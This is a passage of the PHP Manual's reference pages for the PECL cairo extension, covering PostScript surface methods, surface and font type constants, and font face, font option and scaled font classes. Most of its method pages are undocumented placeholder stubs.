  • CairoPsSurface::getLevels — The getLevels purpose
  • CairoPsSurface::levelToString — The levelToString purpose
  • CairoPsSurface::restrictToLevel — The restrictToLevel purpose
  • CairoPsSurface::setEps — The setEps purpose
  • CairoPsSurface::setSize — The setSize purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoPdfSurface::setSize
CairoPsSurface::__construct
Cairo


The __construct purpose

CairoPsSurface
CairoPsSurface::dscBeginPageSetup
CairoPsSurface
PHP Manual

CairoPsSurface::__construct

(PECL cairo >= 0.1.0)

CairoPsSurface::__construct — The __construct purpose

Description

public CairoPsSurface::__construct ( string $file , float $width , float $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

file

Description...

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface
CairoPsSurface::dscBeginPageSetup
CairoPsSurface


The dscBeginPageSetup purpose

CairoPsSurface::__construct
CairoPsSurface::dscBeginSetup
CairoPsSurface
PHP Manual

CairoPsSurface::dscBeginPageSetup

(PECL cairo >= 0.1.0)

CairoPsSurface::dscBeginPageSetup — The dscBeginPageSetup purpose

Description

public void CairoPsSurface::dscBeginPageSetup ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::dscBeginPageSetup() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::__construct
CairoPsSurface::dscBeginSetup
CairoPsSurface


The dscBeginSetup purpose

CairoPsSurface::dscBeginPageSetup
CairoPsSurface::dscComment
CairoPsSurface
PHP Manual

CairoPsSurface::dscBeginSetup

(PECL cairo >= 0.1.0)

CairoPsSurface::dscBeginSetup — The dscBeginSetup purpose

Description

public void CairoPsSurface::dscBeginSetup ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::dscBeginSetup() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::dscBeginPageSetup
CairoPsSurface::dscComment
CairoPsSurface


The dscComment purpose

CairoPsSurface::dscBeginSetup
CairoPsSurface::getEps
CairoPsSurface
PHP Manual

CairoPsSurface::dscComment

(PECL cairo >= 0.1.0)

CairoPsSurface::dscComment — The dscComment purpose

Description

public void CairoPsSurface::dscComment ( string $comment )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

comment

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::dscComment() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::dscBeginSetup
CairoPsSurface::getEps
CairoPsSurface


The getEps purpose

CairoPsSurface::dscComment
CairoPsSurface::getLevels
CairoPsSurface
PHP Manual

CairoPsSurface::getEps

(PECL cairo >= 0.1.0)

CairoPsSurface::getEps — The getEps purpose

Description

public bool CairoPsSurface::getEps ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::getEps() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::dscComment
CairoPsSurface::getLevels
CairoPsSurface


The getLevels purpose

CairoPsSurface::getEps
CairoPsSurface::levelToString
CairoPsSurface
PHP Manual

CairoPsSurface::getLevels

(PECL cairo >= 0.1.0)

CairoPsSurface::getLevels — The getLevels purpose

Description

public static array CairoPsSurface::getLevels ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoPsSurface::getLevels() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::getEps
CairoPsSurface::levelToString
CairoPsSurface


The levelToString purpose

CairoPsSurface::getLevels
CairoPsSurface::restrictToLevel
CairoPsSurface
PHP Manual

CairoPsSurface::levelToString

(PECL cairo >= 0.1.0)

CairoPsSurface::levelToString — The levelToString purpose

Description

public static string CairoPsSurface::levelToString ( int $level )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::levelToString() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::getLevels
CairoPsSurface::restrictToLevel
CairoPsSurface


The restrictToLevel purpose

CairoPsSurface::levelToString
CairoPsSurface::setEps
CairoPsSurface
PHP Manual

CairoPsSurface::restrictToLevel

(PECL cairo >= 0.1.0)

CairoPsSurface::restrictToLevel — The restrictToLevel purpose

Description

public void CairoPsSurface::restrictToLevel ( string $level )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::restrictToLevel() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::levelToString
CairoPsSurface::setEps
CairoPsSurface


The setEps purpose

CairoPsSurface::restrictToLevel
CairoPsSurface::setSize
CairoPsSurface
PHP Manual

CairoPsSurface::setEps

(PECL cairo >= 0.1.0)

CairoPsSurface::setEps — The setEps purpose

Description

public void CairoPsSurface::setEps ( string $level )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

level

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::setEps() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::restrictToLevel
CairoPsSurface::setSize
CairoPsSurface


The setSize purpose

CairoPsSurface::setEps
CairoSurfaceType
CairoPsSurface
PHP Manual

CairoPsSurface::setSize

(PECL cairo >= 0.1.0)

CairoPsSurface::setSize — The setSize purpose

Description

public void CairoPsSurface::setSize ( string $width , string $height )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

width

Description...

height

Description...

Return Values

Description...

Examples

Example #1 CairoPsSurface::setSize() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::setEps
CairoSurfaceType
CairoPsSurface


The CairoSurfaceType class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoSurfaceType {
/* Constants */
const integer IMAGE = 0 ;
const integer PDF = 1 ;
const integer PS = 2 ;
const integer XLIB = 3 ;
const integer XCB = 4 ;
const integer GLITZ = 5 ;
const integer QUARTZ = 6 ;
const integer WIN32 = 7 ;
const integer BEOS = 8 ;
const integer DIRECTFB = 9 ;
const integer SVG = 10 ;
const integer OS2 = 11 ;
const integer WIN32_PRINTING = 12 ;
const integer QUARTZ_IMAGE = 13 ;
}

Predefined Constants

CairoSurfaceType::IMAGE

Description here...

CairoSurfaceType::PDF

Description here...

CairoSurfaceType::PS

Description here...

CairoSurfaceType::XLIB

Description here...

CairoSurfaceType::XCB

Description here...

CairoSurfaceType::GLITZ

Description here...

CairoSurfaceType::QUARTZ

Description here...

CairoSurfaceType::WIN32

Description here...

CairoSurfaceType::BEOS

Description here...

CairoSurfaceType::DIRECTFB

Description here...

CairoSurfaceType::SVG

Description here...

CairoSurfaceType::OS2

Description here...

CairoSurfaceType::WIN32_PRINTING

Description here...

CairoSurfaceType::QUARTZ_IMAGE

Description here...

User Contributed Notes

There are no user contributed notes for this page.
CairoPsSurface::setSize
CairoFontFace
Cairo


The CairoFontFace class

(No version information available, might only be in SVN)

Introduction

CairoFontFace abstract class represents a particular font at a particular weight, slant, and other characteristic but no transformation or size.

Note: This class can not be instantiated directly, it is created by CairoContext::getFontFace() or cairo_scaled_font_get_font_face().

Class synopsis

CairoFontFace {
/* Methods */
public __construct ( void )
public int getType ( void )
public int status ( void )
}

Table of Contents

  • CairoFontFace::__construct — Creates a new CairoFontFace object
  • CairoFontFace::getType — Retrieves the font face type
  • CairoFontFace::status — Check for CairoFontFace errors

User Contributed Notes

There are no user contributed notes for this page.
CairoSurfaceType
CairoFontFace::__construct
Cairo


Creates a new CairoFontFace object

CairoFontFace
CairoFontFace::getType
CairoFontFace
PHP Manual

CairoFontFace::__construct

(PECL cairo >= 0.1.0)

CairoFontFace::__construct — Creates a new CairoFontFace object

Description

public CairoFontFace::__construct ( void )

CairoFontFace class represents a particular font at a particular weight, slant, and other characteristic but no transformation or size.

Note: This class can't be instantiated directly it is created by CairoContext::getFontFace() or cairo_scaled_font_get_font_face()

Parameters

This function has no parameters.

Return Values

CairoFontFace

Examples

Example #1 CairoFontFace::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Class::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontFace
CairoFontFace::getType
CairoFontFace


Retrieves the font face type

CairoFontFace::__construct
CairoFontFace::status
CairoFontFace
PHP Manual

CairoFontFace::getType

(PECL cairo >= 0.1.0)

CairoFontFace::getType — Retrieves the font face type

Description

public int CairoFontFace::getType ( void )

This function returns the type of the backend used to create a font face. See CairoFontType class constants for available types.

Parameters

This function has no parameters.

Return Values

A font type that can be any one defined in CairoFontType

Examples

Example #1 CairoFontFace::getType() example

<?php

// Creates the font face
$fontface = new CairoToyFontFace('sans-serif');

// Get the font face type
var_dump($fontface->getType());

?>

The above example will output something similar to:

int(0)

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontFace::__construct
CairoFontFace::status
CairoFontFace


Check for CairoFontFace errors

CairoFontFace::getType
CairoFontOptions
CairoFontFace
PHP Manual

CairoFontFace::status

cairo_font_face_status

(PECL cairo >= 0.1.0)

CairoFontFace::status -- cairo_font_face_status — Check for CairoFontFace errors

Description

Object oriented style (method):

public int CairoFontFace::status ( void )

Procedural style:

int cairo_font_face_status ( CairoFontFace $fontface )

Checks whether an error has previously occurred for this font face

Parameters

fontface

A valid CairoFontFace object

Return Values

CAIRO_STATUS_SUCCESS or another error such as CAIRO_STATUS_NO_MEMORY.

Examples

Example #1 Object oriented style

<?php

// Creates the font face
$fontface = new CairoToyFontFace('sans-serif');

// Get the font face status
var_dump($fontface->status()); // should be the value of CAIRO_STATUS_SUCCESS

?>

The above example will output something similar to:

int(0)

Example #2 Procedural style

<?php

// Creates the font face
$fontface = new CairoToyFontFace('sans-serif');

// Get the font face status
var_dump(cairo_font_face_status($fontface)); // should be the value of CAIRO_STATUS_SUCCESS

?>

The above example will output something similar to:

int(0)

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontFace::getType
CairoFontOptions
CairoFontFace


The CairoFontOptions class

(No version information available, might only be in SVN)

Introduction

An opaque structure holding all options that are used when rendering fonts.

Individual features of a cairo_font_options_t can be set or accessed using functions named cairo_font_options_set_feature_name and cairo_font_options_get_feature_name, like cairo_font_options_set_antialias() and cairo_font_options_get_antialias().

New features may be added to CairoFontOptions in the future. For this reason CairoFontOptions::copy(), CairoFontOptions::equal(), CairoFontOptions::merge(), CairoFontOptions::hash() (cairo_font_options_copy(), cairo_font_options_equal(), cairo_font_options_merge(), and cairo_font_options_hash() in procedural way) should be used to copy, check for equality, merge, or compute a hash value of CairoFontOptions objects.

Class synopsis

CairoFontOptions {
/* Methods */
public __construct ( void )
public bool equal ( string $other )
public int getAntialias ( void )
public int getHintMetrics ( void )
public int getHintStyle ( void )
public int getSubpixelOrder ( void )
public int hash ( void )
public void merge ( string $other )
public void setAntialias ( string $antialias )
public void setHintMetrics ( string $hint_metrics )
public void setHintStyle ( string $hint_style )
public void setSubpixelOrder ( string $subpixel_order )
public int status ( void )
}

Table of Contents

  • CairoFontOptions::__construct — The __construct purpose
  • CairoFontOptions::equal — The equal purpose
  • CairoFontOptions::getAntialias — The getAntialias purpose
  • CairoFontOptions::getHintMetrics — The getHintMetrics purpose
  • CairoFontOptions::getHintStyle — The getHintStyle purpose
  • CairoFontOptions::getSubpixelOrder — The getSubpixelOrder purpose
  • CairoFontOptions::hash — The hash purpose
  • CairoFontOptions::merge — The merge purpose
  • CairoFontOptions::setAntialias — The setAntialias purpose
  • CairoFontOptions::setHintMetrics — The setHintMetrics purpose
  • CairoFontOptions::setHintStyle — The setHintStyle purpose
  • CairoFontOptions::setSubpixelOrder — The setSubpixelOrder purpose
  • CairoFontOptions::status — The status purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoFontFace::status
CairoFontOptions::__construct
Cairo


The __construct purpose

CairoFontOptions
CairoFontOptions::equal
CairoFontOptions
PHP Manual

CairoFontOptions::__construct

(PECL cairo >= 0.1.0)

CairoFontOptions::__construct — The __construct purpose

Description

public CairoFontOptions::__construct ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions
CairoFontOptions::equal
CairoFontOptions


The equal purpose

CairoFontOptions::__construct
CairoFontOptions::getAntialias
CairoFontOptions
PHP Manual

CairoFontOptions::equal

(PECL cairo >= 0.1.0)

CairoFontOptions::equal — The equal purpose

Description

public bool CairoFontOptions::equal ( string $other )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

other

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::equal() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::__construct
CairoFontOptions::getAntialias
CairoFontOptions


The getAntialias purpose

CairoFontOptions::equal
CairoFontOptions::getHintMetrics
CairoFontOptions
PHP Manual

CairoFontOptions::getAntialias

cairo_get_antialias

(PECL cairo >= 0.1.0)

CairoFontOptions::getAntialias -- cairo_get_antialias — The getAntialias purpose

Description

Object oriented style (method):

public int CairoFontOptions::getAntialias ( void )

Procedural style:

int cairo_get_antialias ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::equal
CairoFontOptions::getHintMetrics
CairoFontOptions


The getHintMetrics purpose

CairoFontOptions::getAntialias
CairoFontOptions::getHintStyle
CairoFontOptions
PHP Manual

CairoFontOptions::getHintMetrics

(PECL cairo >= 0.1.0)

CairoFontOptions::getHintMetrics — The getHintMetrics purpose

Description

public int CairoFontOptions::getHintMetrics ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::getHintMetrics() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::getAntialias
CairoFontOptions::getHintStyle
CairoFontOptions


The getHintStyle purpose

CairoFontOptions::getHintMetrics
CairoFontOptions::getSubpixelOrder
CairoFontOptions
PHP Manual

CairoFontOptions::getHintStyle

(PECL cairo >= 0.1.0)

CairoFontOptions::getHintStyle — The getHintStyle purpose

Description

public int CairoFontOptions::getHintStyle ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::getHintStyle() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::getHintMetrics
CairoFontOptions::getSubpixelOrder
CairoFontOptions


The getSubpixelOrder purpose

CairoFontOptions::getHintStyle
CairoFontOptions::hash
CairoFontOptions
PHP Manual

CairoFontOptions::getSubpixelOrder

(PECL cairo >= 0.1.0)

CairoFontOptions::getSubpixelOrder — The getSubpixelOrder purpose

Description

public int CairoFontOptions::getSubpixelOrder ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::getSubpixelOrder() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::getHintStyle
CairoFontOptions::hash
CairoFontOptions


The hash purpose

CairoFontOptions::getSubpixelOrder
CairoFontOptions::merge
CairoFontOptions
PHP Manual

CairoFontOptions::hash

(PECL cairo >= 0.1.0)

CairoFontOptions::hash — The hash purpose

Description

public int CairoFontOptions::hash ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoFontOptions::hash() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::getSubpixelOrder
CairoFontOptions::merge
CairoFontOptions


The merge purpose

CairoFontOptions::hash
CairoFontOptions::setAntialias
CairoFontOptions
PHP Manual

CairoFontOptions::merge

(PECL cairo >= 0.1.0)

CairoFontOptions::merge — The merge purpose

Description

public void CairoFontOptions::merge ( string $other )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

other

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::merge() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::hash
CairoFontOptions::setAntialias
CairoFontOptions


The setAntialias purpose

CairoFontOptions::merge
CairoFontOptions::setHintMetrics
CairoFontOptions
PHP Manual

CairoFontOptions::setAntialias

cairo_set_antialias

(PECL cairo >= 0.1.0)

CairoFontOptions::setAntialias -- cairo_set_antialias — The setAntialias purpose

Description

Object oriented style (method):

public void CairoFontOptions::setAntialias ( string $antialias )

Procedural style:

void cairo_set_antialias ( CairoContext $context [, string $antialias ] )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

antialias

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::merge
CairoFontOptions::setHintMetrics
CairoFontOptions


The setHintMetrics purpose

CairoFontOptions::setAntialias
CairoFontOptions::setHintStyle
CairoFontOptions
PHP Manual

CairoFontOptions::setHintMetrics

(PECL cairo >= 0.1.0)

CairoFontOptions::setHintMetrics — The setHintMetrics purpose

Description

public void CairoFontOptions::setHintMetrics ( string $hint_metrics )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

hint_metrics

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::setHintMetrics() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::setAntialias
CairoFontOptions::setHintStyle
CairoFontOptions


The setHintStyle purpose

CairoFontOptions::setHintMetrics
CairoFontOptions::setSubpixelOrder
CairoFontOptions
PHP Manual

CairoFontOptions::setHintStyle

(PECL cairo >= 0.1.0)

CairoFontOptions::setHintStyle — The setHintStyle purpose

Description

public void CairoFontOptions::setHintStyle ( string $hint_style )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

hint_style

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::setHintStyle() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::setHintMetrics
CairoFontOptions::setSubpixelOrder
CairoFontOptions


The setSubpixelOrder purpose

CairoFontOptions::setHintStyle
CairoFontOptions::status
CairoFontOptions
PHP Manual

CairoFontOptions::setSubpixelOrder

(PECL cairo >= 0.1.0)

CairoFontOptions::setSubpixelOrder — The setSubpixelOrder purpose

Description

public void CairoFontOptions::setSubpixelOrder ( string $subpixel_order )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

subpixel_order

Description...

Return Values

Description...

Examples

Example #1 CairoFontOptions::setSubpixelOrder() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::setHintStyle
CairoFontOptions::status
CairoFontOptions


The status purpose

CairoFontOptions::setSubpixelOrder
CairoFontSlant
CairoFontOptions
PHP Manual

CairoFontOptions::status

cairo_status

(PECL cairo >= 0.1.0)

CairoFontOptions::status -- cairo_status — The status purpose

Description

Object oriented style (method):

public int CairoFontOptions::status ( void )

Procedural style:

int cairo_status ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::setSubpixelOrder
CairoFontSlant
CairoFontOptions


The CairoFontSlant class

(No version information available, might only be in SVN)

Introduction

Specifies variants of a font face based on their slant.

Class synopsis

CairoFontSlant {
/* Constants */
const integer NORMAL = 0 ;
const integer ITALIC = 1 ;
const integer OBLIQUE = 2 ;
}

Predefined Constants

CairoFontSlant::NORMAL

Upright font style

CairoFontSlant::ITALIC

Italic font style

CairoFontSlant::OBLIQUE

Oblique font style

User Contributed Notes

There are no user contributed notes for this page.
CairoFontOptions::status
CairoFontType
Cairo


The CairoFontType class

(No version information available, might only be in SVN)

Introduction

CairoFontType class is an abstract final class that contains constants used to describe the type of a given CairoFontFace or CairoScaledFont. The font types are also known as "font backends" within cairo.

The type of a CairoFontFace is determined by the how it is created, an example would be the CairoToyFontFace::__construct(). The CairoFontFace type can be queried with CairoFontFace::getType() or cairo_font_face_get_type()

The various CairoFontFace functions can be used with a font face of any type.

The type of a CairoScaledFont is determined by the type of the CairoFontFace passed to CairoScaledFont::__construct() or cairo_scaled_font_create(). The scaled font type can be queried with CairoScaledFont::getType() or cairo_scaled_font_get_type().

Class synopsis

CairoFontType {
/* Constants */
const integer TOY = 0 ;
const integer FT = 1 ;
const integer WIN32 = 2 ;
const integer QUARTZ = 3 ;
}

Predefined Constants

CairoFontType::TOY

The font was created using CairoToyFont api

CairoFontType::FT

The font is of type CairoFreeType

CairoFontType::WIN32

The font is of type Win32

CairoFontType::QUARTZ

The font is of type Quartz

CairoFontType::USER

The font was create using cairo's user font api

User Contributed Notes

There are no user contributed notes for this page.
CairoFontSlant
CairoFontWeight
Cairo


The CairoFontWeight class

(No version information available, might only be in SVN)

Introduction

Specifies variants of a font face based on their weight.

Class synopsis

CairoFontWeight {
/* Constants */
const integer NORMAL = 0 ;
const integer BOLD = 1 ;
}

Predefined Constants

CairoFontWeight::NORMAL

Normal font weight

CairoFontWeight::BOLD

Bold font weight

User Contributed Notes

There are no user contributed notes for this page.
CairoFontType
CairoScaledFont
Cairo


The CairoScaledFont class

(No version information available, might only be in SVN)

Introduction

Class synopsis

CairoScaledFont {
/* Methods */
public __construct ( CairoFontFace $font_face , CairoMatrix $matrix , CairoMatrix $ctm , CairoFontOptions $options )
public array extents ( void )
public CairoMatrix getCtm ( void )
public void getFontFace ( void )
public void getFontMatrix ( void )
public void getFontOptions ( void )
public void getScaleMatrix ( void )
public int getType ( void )
public array glyphExtents ( string $glyphs )
public int status ( void )
public array textExtents ( string $text )
}

Table of Contents

  • CairoScaledFont::__construct — The __construct purpose
  • CairoScaledFont::extents — The extents purpose
  • CairoScaledFont::getCtm — The getCtm purpose
  • CairoScaledFont::getFontFace — The getFontFace purpose
  • CairoScaledFont::getFontMatrix — The getFontMatrix purpose
  • CairoScaledFont::getFontOptions — The getFontOptions purpose
  • CairoScaledFont::getScaleMatrix — The getScaleMatrix purpose
  • CairoScaledFont::getType — The getType purpose
  • CairoScaledFont::glyphExtents — The glyphExtents purpose
  • CairoScaledFont::status — The status purpose
  • CairoScaledFont::textExtents — The textExtents purpose

User Contributed Notes

There are no user contributed notes for this page.
CairoFontWeight
CairoScaledFont::__construct
Cairo


The __construct purpose

CairoScaledFont
CairoScaledFont::extents
CairoScaledFont
PHP Manual

CairoScaledFont::__construct

(PECL cairo >= 0.1.0)

CairoScaledFont::__construct — The __construct purpose

Description

public CairoScaledFont::__construct ( CairoFontFace $font_face , CairoMatrix $matrix , CairoMatrix $ctm , CairoFontOptions $options )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

font_face

Description...

matrix

Description...

ctm

Description...

options

Description...

Return Values

Description...

Examples

Example #1 CairoScaledFont::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont
CairoScaledFont::extents
CairoScaledFont


The extents purpose

CairoScaledFont::__construct
CairoScaledFont::getCtm
CairoScaledFont
PHP Manual

CairoScaledFont::extents

(PECL cairo >= 0.1.0)

CairoScaledFont::extents — The extents purpose

Description

public array CairoScaledFont::extents ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::extents() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::__construct
CairoScaledFont::getCtm
CairoScaledFont


The getCtm purpose

CairoScaledFont::extents
CairoScaledFont::getFontFace
CairoScaledFont
PHP Manual

CairoScaledFont::getCtm

(PECL cairo >= 0.1.0)

CairoScaledFont::getCtm — The getCtm purpose

Description

public CairoMatrix CairoScaledFont::getCtm ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::getCtm() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::extents
CairoScaledFont::getFontFace
CairoScaledFont


The getFontFace purpose

CairoScaledFont::getCtm
CairoScaledFont::getFontMatrix
CairoScaledFont
PHP Manual

CairoScaledFont::getFontFace

cairo_get_font_face

(PECL cairo >= 0.1.0)

CairoScaledFont::getFontFace -- cairo_get_font_face — The getFontFace purpose

Description

Object oriented style (method):

public void CairoScaledFont::getFontFace ( void )

Procedural style:

void cairo_get_font_face ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::getCtm
CairoScaledFont::getFontMatrix
CairoScaledFont


The getFontMatrix purpose

CairoScaledFont::getFontFace
CairoScaledFont::getFontOptions
CairoScaledFont
PHP Manual

CairoScaledFont::getFontMatrix

cairo_get_font_matrix

(PECL cairo >= 0.1.0)

CairoScaledFont::getFontMatrix -- cairo_get_font_matrix — The getFontMatrix purpose

Description

Object oriented style (method):

public void CairoScaledFont::getFontMatrix ( void )

Procedural style:

void cairo_get_font_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::getFontFace
CairoScaledFont::getFontOptions
CairoScaledFont


The getFontOptions purpose

CairoScaledFont::getFontMatrix
CairoScaledFont::getScaleMatrix
CairoScaledFont
PHP Manual

CairoScaledFont::getFontOptions

cairo_get_font_options

(PECL cairo >= 0.1.0)

CairoScaledFont::getFontOptions -- cairo_get_font_options — The getFontOptions purpose

Description

Object oriented style (method):

public void CairoScaledFont::getFontOptions ( void )

Procedural style:

void cairo_get_font_options ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::getFontMatrix
CairoScaledFont::getScaleMatrix
CairoScaledFont


The getScaleMatrix purpose

CairoScaledFont::getFontOptions
CairoScaledFont::getType
CairoScaledFont
PHP Manual

CairoScaledFont::getScaleMatrix

(PECL cairo >= 0.1.0)

CairoScaledFont::getScaleMatrix — The getScaleMatrix purpose

Description

public void CairoScaledFont::getScaleMatrix ( void )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Description...

Examples

Example #1 CairoScaledFont::getScaleMatrix() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.
CairoScaledFont::getFontOptions
CairoScaledFont::getType
CairoScaledFont


The getType purpose

CairoScaledFont::getScaleMatrix
CairoScaledFont::glyphExtents
CairoScaledFont
PHP Manual

